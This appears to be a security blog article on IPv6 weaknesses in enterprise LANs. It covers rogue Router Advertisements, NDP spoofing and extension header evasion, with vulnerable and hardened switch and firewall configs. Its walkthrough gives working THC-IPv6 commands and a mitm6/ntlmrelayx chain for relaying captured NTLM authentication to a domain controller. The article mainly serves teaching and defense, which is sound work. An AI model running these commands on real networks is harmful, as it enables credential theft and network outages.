IPv6 Security Pitfalls in Enterprise Networks

IPv6 Security Pitfalls in Enterprise Networks - article cover image Security
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Most enterprise networks are not “IPv4-only” — they are IPv4-managed and IPv6-ignored. Windows, macOS, Linux, and virtually every modern OS ship with IPv6 enabled and auto-configuring by default, using Router Advertisements and SLAAC to assign addresses without any DHCP server or administrator involvement. When a network team has built firewall rules, monitoring, and segmentation entirely around IPv4 and never explicitly addressed IPv6, every host on that network is quietly running a second, unmonitored, unfiltered protocol stack in parallel.

This creates a durable, low-effort attack surface: an attacker who joins the local segment can often become the de facto IPv6 router and DNS server for every dual-stack host on the LAN, because Neighbor Discovery Protocol (NDP) — IPv6’s replacement for ARP — has no authentication by default, just like ARP did not. The result is IPv6-based man-in-the-middle against traffic the victim’s applications believe is going out over IPv4, plus the resurgence of classic L2 spoofing problems in a protocol most defenders never configured, let alone hardened.

Attack Prerequisites

IPv6-based attacks on an enterprise LAN generally require:

  • Layer 2 access to the target broadcast/multicast domain — these are local-segment attacks, same as ARP spoofing, not routed attacks.
  • IPv6 enabled on target hosts (the default on virtually every modern OS) even if the organization believes it “does not use IPv6.”
  • No RA Guard / DHCPv6 Guard / IPv6 Source Guard on the switching infrastructure to block rogue Router Advertisements and DHCPv6 servers.
  • No IPv6-aware host or network firewall policy — a common gap is an IPv4 firewall ruleset with no IPv6 equivalent at all, leaving IPv6 traffic completely unfiltered end to end.

How It Works

IPv6 hosts normally acquire an address via SLAAC (Stateless Address Autoconfiguration): a host listens for Router Advertisement (RA) ICMPv6 messages, multicast periodically (or solicited via Router Solicitation) by whatever is configured as a router on the segment, and derives a global address from the advertised prefix. Nothing authenticates who is allowed to send an RA. An attacker who sends RAs advertising itself as the default router — and, via the RDNSS/DHCPv6 option, as the DNS server — gets every listening host to route its IPv6 traffic and resolve its DNS through the attacker, all without ever touching the existing IPv4 default gateway or DNS server the organization actually monitors. This is the basis of the mitm6 technique: because Windows prefers IPv6 over IPv4 when both are available (source and destination address selection per RFC 6724), becoming the IPv6 router and DNS server is often enough to hijack DNS resolution for IPv4-only services too, feeding victims a rogue WPAD response that captures NTLM authentication.

Neighbor Discovery Protocol (NDP) — the IPv6 analogue of ARP, using Neighbor Solicitation/Advertisement ICMPv6 messages — is equally unauthenticated by default. An attacker can send unsolicited Neighbor Advertisements claiming to own another host’s address, achieving the IPv6 equivalent of ARP cache poisoning. The IETF standardized a cryptographic fix, SEND (Secure Neighbor Discovery, RFC 3971), using signed RA/NDP messages tied to a certificate-backed address, but SEND is almost never deployed in practice — it requires PKI infrastructure and OS support that most enterprise networks never built out, so in practice NDP is exploitable wherever ARP would be.

A second, distinct pitfall is extension header abuse: IPv6 replaces IPv4’s fixed option fields with a chain of optional extension headers (Hop-by-Hop, Routing, Fragment, Destination Options) that a receiving stack or an inline firewall must walk sequentially before reaching the actual transport-layer header. Firewalls, IDS, and even some kernel stacks that do not correctly parse or cap the length of this chain can be evaded by burying an ACL-relevant port or protocol behind a long or malformed chain of extension headers, or DoS’d by pathologically long chains — a class of problem IPv4 never had because it has no equivalent chaining mechanism.

Vulnerable Code / Configuration

The enabling misconfiguration is almost always an absence rather than a present setting: no RA Guard on access switches, letting any port originate Router Advertisements. A Cisco switch port with no IPv6 First-Hop Security applied:

! VULNERABLE: standard access port, no IPv6 FHS features configured
interface GigabitEthernet1/0/12
 switchport mode access
 switchport access vlan 20
 spanning-tree portfast
! no ipv6 snooping / no RA guard / no DHCPv6 guard applied here
TEXT

The hardened equivalent applies RA Guard and DHCPv6 Guard at the access layer, permitting Router Advertisements only from the legitimate uplink:

ipv6 snooping policy TRUSTED-HOST
 device-role host
!
interface GigabitEthernet1/0/12
 switchport access vlan 20
 ipv6 snooping attach-policy TRUSTED-HOST
 ipv6 nd raguard attach-policy HOST-POLICY   ! blocks RAs from non-router ports
 ipv6 dhcp guard attach-policy HOST-POLICY   ! blocks rogue DHCPv6 servers
TEXT

Equally common: an IPv4-only host firewall policy that leaves the IPv6 stack entirely default-permit — ip6tables with no rules loaded while iptables is carefully managed:

# VULNERABLE: IPv4 filtered, IPv6 wide open
$ iptables -L | head -1
Chain INPUT (policy DROP)
$ ip6tables -L | head -1
Chain INPUT (policy ACCEPT)      # <-- every IPv6 service is reachable
TEXT

Walkthrough / Exploitation

The THC-IPv6 toolkit is the standard suite for testing these weaknesses. Confirm IPv6 is live and enumerate neighbors on the segment:

alive6 eth0                       # find live IPv6 hosts on the local link
passive_discovery6 eth0            # listen for existing IPv6 chatter
Bash

Become the rogue default router/DNS server and hand out a malicious prefix:

fake_router6 eth0 2001:db8:evil::/64
# or flood legitimate routers off the RA cache entirely:
flood_router6 eth0
Bash

mitm6 combines rogue RA/DHCPv6 with a DNS takeover, specifically to relay captured NTLM authentication via WPAD, and is normally chained with impacket’s ntlmrelayx.py:

mitm6 -d corp.local
ntlmrelayx.py -6 -wh attacker-wpad -t ldaps://dc01.corp.local -l lootdir
# Victims resolving DNS via the rogue IPv6 server fetch a malicious WPAD file,
# authenticate to it over NTLM, and that auth is relayed to LDAP/LDAPS.
Bash

Note: “We don’t use IPv6” is almost never true at the host level — it means IPv6 is unmanaged, not absent. Auditing IPv6 exposure (RA acceptance, listening services on IPv6 addresses, firewall parity) should be a standard line item in any internal network assessment, independent of whether the organization has an IPv6 addressing plan.

Opsec: fake_router6/flood_router6 are extremely noisy and can cause real outages by knocking legitimate default routers out of hosts’ RA caches — run them only in an authorized, scoped test window, and prefer passive discovery first to confirm impact before any active RA injection.

Detection and Defense

IPv6 needs the same first-hop and monitoring discipline IPv4 already has:

  • Enable RA Guard, DHCPv6 Guard, and IPv6 Source/ND Inspection on all access-layer switches (Cisco IPv6 First-Hop Security, or the vendor equivalent) so only designated router ports can send RAs or DHCPv6 offers.
  • Mirror every IPv4 firewall rule with an IPv6 rule, or explicitly and deliberately disable IPv6 on hosts/interfaces where it serves no purpose, rather than leaving it unmanaged.
  • Monitor for unexpected Router Advertisements and Neighbor Advertisements — tools like ndpmon or IPv6-aware IDS signatures catch rogue RAs and NDP spoofing the way arpwatch catches ARP spoofing.
  • Deploy DNS64/NAT64 and IPv6 logging deliberately if IPv6 is adopted rather than left to auto-configure silently — an intentional IPv6 rollout is far easier to secure than an accidental one.
  • Detect mitm6-style attacks by alerting on new DHCPv6 servers, unexpected RDNSS options in RAs, and WPAD requests over IPv6 from hosts that never previously resolved it.

Real-World Impact

mitm6 combined with WPAD/NTLM relay is one of the most consistently effective techniques on internal penetration tests and red team engagements against Windows environments specifically because it requires no vulnerability, only a default configuration (IPv6 enabled, no RA Guard, WPAD auto-detection on) that is extremely common in the field. Because it bypasses IPv4-centric monitoring entirely, it frequently succeeds even in networks that have already hardened LLMNR/NBT-NS and classic ARP spoofing defenses, making it a favorite technique precisely because IPv6 hardening lags so far behind IPv4 in most organizations.

Conclusion

IPv6 is not a future problem for enterprise networks — it is already running, auto-configuring, and almost entirely unmonitored on the vast majority of dual-stack estates. The fix is not necessarily to adopt IPv6 formally; it is to stop ignoring the stack that is already live on every host: apply first-hop security to Router Advertisements and DHCPv6, extend firewall policy to IPv6 with the same rigor as IPv4, and monitor NDP the way ARP has always been monitored.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL